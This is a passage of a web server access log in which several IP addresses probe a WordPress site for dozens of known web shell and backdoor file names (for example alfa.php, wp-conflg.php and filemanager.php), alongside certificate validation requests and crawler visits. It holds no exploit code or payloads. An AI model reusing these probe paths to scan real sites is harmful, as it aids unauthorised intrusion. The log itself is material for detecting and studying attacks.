[01/Apr/2026:18:20:40 +0300] "GET /wp-moonka.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:21:00 +0300] "GET /ta0ol.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:22:33 +0300] "GET /wlld5fjtdpjmjhsds3qzmipfCdefault.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:23:25 +0300] "GET /mI35rZhMg1zJ1vuXdefault.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:23:28 +0300] "GET /sts.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:25:25 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:17:41 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:18:28 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:18:59 +0300] "GET /file61.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:21:15 +0300] "GET /tx79.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:23:41 +0300] "GET /hbvdoz7cy9k6xge9zhuvkvitCdefault.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:23:44 +0300] "GET /wziar1.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:24:34 +0300] "GET /lmutxdvyp7u5yksqke8ozbjgCdefault.php HTTP/1.1" 301 795 "-" "-" 43.166.237.57 - - [01/Apr/2026:17:09:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.215.250.169 - - [01/Apr/2026:18:19:35 +0300] "GET /5xkfgawzejgwqh9hiaznCdefault.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:20:14 +0300] "GET /tdsaz.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:20:14 +0300] "GET /xwx1.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:24:16 +0300] "GET /CDX2.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:24:40 +0300] "GET /ortasekerli1.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:25:11 +0300] "GET /wp-ccv.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:18:10 +0300] "GET /0yellow.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:19:54 +0300] "GET /q7lhrgzoo7ijhnkcedq2Cdefault.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:21:20 +0300] "GET /ibcqocdtu3eovdx2hwj7Cdefault.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:21:27 +0300] "GET /less.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:22:16 +0300] "GET /sadcut1.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:22:56 +0300] "GET /CDX1.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:23:03 +0300] "GET /ynjli.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:24:59 +0300] "GET /Geforce.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:25:02 +0300] "GET /press.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:25:37 +0300] "GET /htto.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:18:42 +0300] "GET /Ov-Simple1.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:22:09 +0300] "GET /htzevfl4k9ey5hoaywdwiCdefault.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:22:41 +0300] "GET /ogifomnzqnlvwh5womfjirvaCdefault.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:23:14 +0300] "GET /a6.php HTTP/1.1" 301 795 "-" "-" 20.215.250.169 - - [01/Apr/2026:18:23:49 +0300] "GET /fsgdjkl.php HTTP/1.1" 301 795 "-" "-" 75.119.148.223 - - [01/Apr/2026:19:08:45 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 4.204.200.32 - - [01/Apr/2026:21:12:23 +0300] "GET /wp-content/languages/ty.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:12:44 +0300] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:14:14 +0300] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:15:17 +0300] "GET /media.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:19:21 +0300] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:19:27 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:19:30 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:20:42 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:20:46 +0300] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:21:56 +0300] "GET /cc.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:22:28 +0300] "GET /wp-content/upgrade/admin.php HTTP/1.1" 301 795 "-" "-" 57.128.52.136 - - [01/Apr/2026:21:24:09 +0300] "GET /.well-known/acme-challenge/NERH5V8EAZXI9FSI_BYHC0CO9E0O-V7P HTTP/1.1" 200 64 "-" "Cpanel-HTTP-Client/1.0" 57.128.52.136 - - [01/Apr/2026:21:24:09 +0300] "GET /.well-known/acme-challenge/HN9_LE7-L2TAGLKHBIJIZF1S61-79-RU HTTP/1.1" 200 64 "-" "Cpanel-HTTP-Client/1.0" 4.204.200.32 - - [01/Apr/2026:21:25:48 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:26:05 +0300] "GET /up.php HTTP/1.1" 301 795 "-" "-" 18.141.217.76 - - [01/Apr/2026:21:32:20 +0300] "GET /.well-known/acme-challenge/g4fVSdNGOVmyDwHAAdgVhzVlBjhKOnV7f__NyjtU5jQ HTTP/1.1" 200 87 "-" "Mozilla/5.0 (compatible; Let's Encrypt validation server; +https://www.letsencrypt.org)" 4.204.200.32 - - [01/Apr/2026:21:11:01 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:11:27 +0300] "GET /images/Marvins.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:12:13 +0300] "GET /function/admin.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:14:22 +0300] "GET /wp-mail.php/wp-includes/ID3/getid3s.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:14:37 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:15:08 +0300] "GET /wp-admin/log.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:15:55 +0300] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:15:58 +0300] "GET /wp-includes/style-engine/index.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:16:00 +0300] "GET /02.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:16:34 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:16:48 +0300] "GET /.well-known/log.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:19:06 +0300] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:19:36 +0300] "GET /wp-includes/manager.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:21:28 +0300] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "-" 57.128.52.136 - - [01/Apr/2026:21:24:09 +0300] "GET /.well-known/acme-challenge/5QPTWOK4L_Y1WUVNKR9I6ZC7K7_AY7K8 HTTP/1.1" 200 64 "-" "Cpanel-HTTP-Client/1.0" 4.204.200.32 - - [01/Apr/2026:21:25:54 +0300] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "-" 23.178.112.213 - - [01/Apr/2026:21:32:20 +0300] "GET /.well-known/acme-challenge/g4fVSdNGOVmyDwHAAdgVhzVlBjhKOnV7f__NyjtU5jQ HTTP/1.1" 200 87 "-" "Mozilla/5.0 (compatible; Let's Encrypt validation server; +https://www.letsencrypt.org)" 3.141.23.113 - - [01/Apr/2026:21:32:20 +0300] "GET /.well-known/acme-challenge/g4fVSdNGOVmyDwHAAdgVhzVlBjhKOnV7f__NyjtU5jQ HTTP/1.1" 200 87 "-" "Mozilla/5.0 (compatible; Let's Encrypt validation server; +https://www.letsencrypt.org)" 4.204.200.32 - - [01/Apr/2026:21:11:51 +0300] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:11:58 +0300] "GET /cgi-bin/cgi-bin/about.php7 HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:12:29 +0300] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:13:42 +0300] "GET /wp-content/themes/file.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:14:26 +0300] "GET /wp-admin/css/colors/blue/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:14:46 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:17:45 +0300] "GET /wp-includes/IXR/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:20:20 +0300] "GET /wp-content/themes/1.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:22:01 +0300] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 57.128.52.136 - - [01/Apr/2026:21:24:09 +0300] "GET /.well-known/acme-challenge/-LD9145IBJF8EDFF4JWEL1QEOAX6NQM_ HTTP/1.1" 200 64 "-" "Cpanel-HTTP-Client/1.0" 4.204.200.32 - - [01/Apr/2026:21:24:42 +0300] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:24:51 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:12:55 +0300] "GET /uploads/admin.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:13:09 +0300] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:13:21 +0300] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:15:44 +0300] "GET /wp-content/themes/cay-van-phong/filemanager.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:16:20 +0300] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 182.44.10.67 - - [01/Apr/2026:21:17:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.204.200.32 - - [01/Apr/2026:21:22:10 +0300] "GET /log.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:23:26 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:24:06 +0300] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:24:09 +0300] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 57.128.52.136 - - [01/Apr/2026:21:24:09 +0300] "GET /.well-known/acme-challenge/8MB1TXFGZ5QTP7SUV5JKY-EF7Z91PMCA HTTP/1.1" 200 64 "-" "Cpanel-HTTP-Client/1.0" 4.204.200.32 - - [01/Apr/2026:21:24:35 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:25:42 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:16:41 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:18:39 +0300] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:19:43 +0300] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:20:00 +0300] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:21:46 +0300] "GET /as/function.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:22:45 +0300] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:23:08 +0300] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:23:19 +0300] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:25:01 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:25:07 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:10:56 +0300] "GET /post.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:11:05 +0300] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:11:06 +0300] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:11:12 +0300] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:11:15 +0300] "GET /wp-includes/blocks/chosen.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:13:14 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:13:32 +0300] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:13:51 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:14:00 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:18:24 +0300] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:19:14 +0300] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:20:29 +0300] "GET /admin/admin.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:20:57 +0300] "GET /function/function.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:21:16 +0300] "GET /.well-known/pki-validation/index.php HTTP/1.1" 404 796 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:21:16 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:22:15 +0300] "GET /.well-known/pki-validation/dropdown.php HTTP/1.1" 404 796 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:22:15 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:22:53 +0300] "GET /wp-admin/includes/admin.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:22:53 +0300] "GET /wp-includes/SimplePie/admin.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:23:38 +0300] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:24:00 +0300] "GET /wp-includes/theme-compat/wp-conflg.php/wp-content/plugins/google-seo-rank/install.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:25:15 +0300] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:25:36 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.50.17.197 - - [01/Apr/2026:21:32:20 +0300] "GET /.well-known/acme-challenge/g4fVSdNGOVmyDwHAAdgVhzVlBjhKOnV7f__NyjtU5jQ HTTP/1.1" 200 87 "-" "Mozilla/5.0 (compatible; Let's Encrypt validation server; +https://www.letsencrypt.org)" 4.204.200.32 - - [01/Apr/2026:21:10:51 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:11:19 +0300] "GET /wp-content/themes/twentytwentytwo/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:15:35 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:16:09 +0300] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:16:57 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:17:08 +0300] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:17:32 +0300] "GET /goat1.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:18:51 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:20:05 +0300] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:21:11 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:21:36 +0300] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:21:39 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:21:52 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:22:20 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:22:37 +0300] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:23:51 +0300] "GET /2.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:23:55 +0300] "GET /wp-admin/images/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 57.128.52.136 - - [01/Apr/2026:21:24:09 +0300] "GET /.well-known/acme-challenge/MB9A8TBKKWSR913JOAHGIC3OH5V-YBZS HTTP/1.1" 200 64 "-" "Cpanel-HTTP-Client/1.0" 57.128.52.136 - - [01/Apr/2026:21:24:10 +0300] "GET /.well-known/acme-challenge/6EGWH4HOV7GB1URIOK7Z6MMTB46K24Q_ HTTP/1.1" 200 64 "-" "Cpanel-HTTP-Client/1.0" 4.204.200.32 - - [01/Apr/2026:21:24:22 +0300] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:25:27 +0300] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 44.247.39.199 - - [01/Apr/2026:21:32:20 +0300] "GET /.well-known/acme-challenge/g4fVSdNGOVmyDwHAAdgVhzVlBjhKOnV7f__NyjtU5jQ HTTP/1.1" 200 87 "-" "Mozilla/5.0 (compatible; Let's Encrypt validation server; +https://www.letsencrypt.org)" 4.204.200.32 - - [01/Apr/2026:21:11:36 +0300] "GET /wp-admin/doc.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:14:53 +0300] "GET /system.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:15:28 +0300] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:17:23 +0300] "GET /wp-includes/fonts/admin.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:18:00 +0300] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:18:12 +0300] "GET /wp-includes/SimplePie/Content/Type/wp-login.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:19:49 +0300] "GET /wp-includes/sitemaps/providers/wp-login.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [01/Apr/2026:21:21:21 +0300] "GET /wp-includes/html-api/index.php HTTP/1.1" 301 795 "-" "-" 43.159.152.184 - - [01/Apr/2026:21:24:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 57.128.52.136 - - [01/Apr/2026:21:24:09 +0300] "GET /.well-known/acme-challenge/PI55YL67SHNJD184YYKSPTIDKXSH4BNJ HTTP/1.1" 200 64 "-" "Cpanel-HTTP-Client/1.0" 57.128.52.136 - - [01/Apr/2026:21:24:10 +0300] "GET /.well-known/acme-challenge/UFQJN8WMMBEZK2J5WKQMERIZZ8OUHWA9 HTTP/1.1" 200 64 "-" "Cpanel-HTTP-Client/1.0" 4.204.200.32 - - [01/Apr/2026:21:26:15 +0300] "GET /wp-content/languages/chosen.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:26:19 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:27:04 +0300] "GET /66.php?p= HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:27:30 +0300] "GET /wp-admins.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:30:21 +0300] "GET /up.php?x= HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:30:35 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:30:35 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:31:25 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:31:55 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:32:36 +0300] "GET /wp-config-sample.php?p= HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:32:37 +0300] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 183.150.60.170 - - [01/Apr/2026:22:56:55 +0300] "GET /wp-content/plugins/elementor/assets/lib/eicons/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 220.181.51.85 - - [01/Apr/2026:23:00:14 +0300] "GET /wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 220.181.51.92 - - [01/Apr/2026:23:03:34 +0300] "GET /wp-content/plugins/elementor/assets/lib/animations/styles/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 119.249.100.177 - - [01/Apr/2026:23:06:54 +0300] "GET /wp-content/plugins/elementor/assets/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 39.148.5.195 - - [01/Apr/2026:23:06:55 +0300] "GET /wp-content/plugins/the-plus-addons-for-elementor-page-builder/includes/user-experience/update-popup/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 119.249.100.110 - - [01/Apr/2026:23:10:14 +0300] "GET /wp-includes/js/jquery/ui/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 195.123.244.84 - - [01/Apr/2026:21:50:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15" 20.63.83.113 - - [01/Apr/2026:22:27:51 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:28:36 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:29:19 +0300] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [01/Apr/2026:22:30:48 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 220.181.51.88 - - [01/Apr/2026:22:56:54 +0300] "GET /wp-content/uploads/2024/06/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 220.181.51.85 - - [01/Apr/2026:23:00:14 +0300] "GET /wp-content/plugins/the-plus-addons-for-elementor-page-builder/assets/svg/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 124.229.44.166 - - [01/Apr/2026:23:00:15 +0300] "GET /wp-content/plugins/the-plus-addons-for-elementor-page-builder/assets/svg/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 123.171.11.169 - - [01/Apr/2026:23:00:16 +0300] "GET /wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 220.181.108.83 - - [01/Apr/2026:23:03:33 +0300] "GET /wp-content/uploads/elementor/google-fonts/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 220.181.51.113 - - [01/Apr/2026:23:03:34 +0300] "GET /wp-content/uploads/blocksy/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 219.104.171.52 - - [01/Apr/2026:23:06:55 +0300] "GET /wp-content/themes/blocksy/static/bundle/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 117.167.130.148 - - [01/Apr/2026:23:06:55 +0300] "GET /wp-content/plugins/elementor/assets/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 116.129.70.172 - - [01/Apr/2026:23:06:56 +0300] "GET 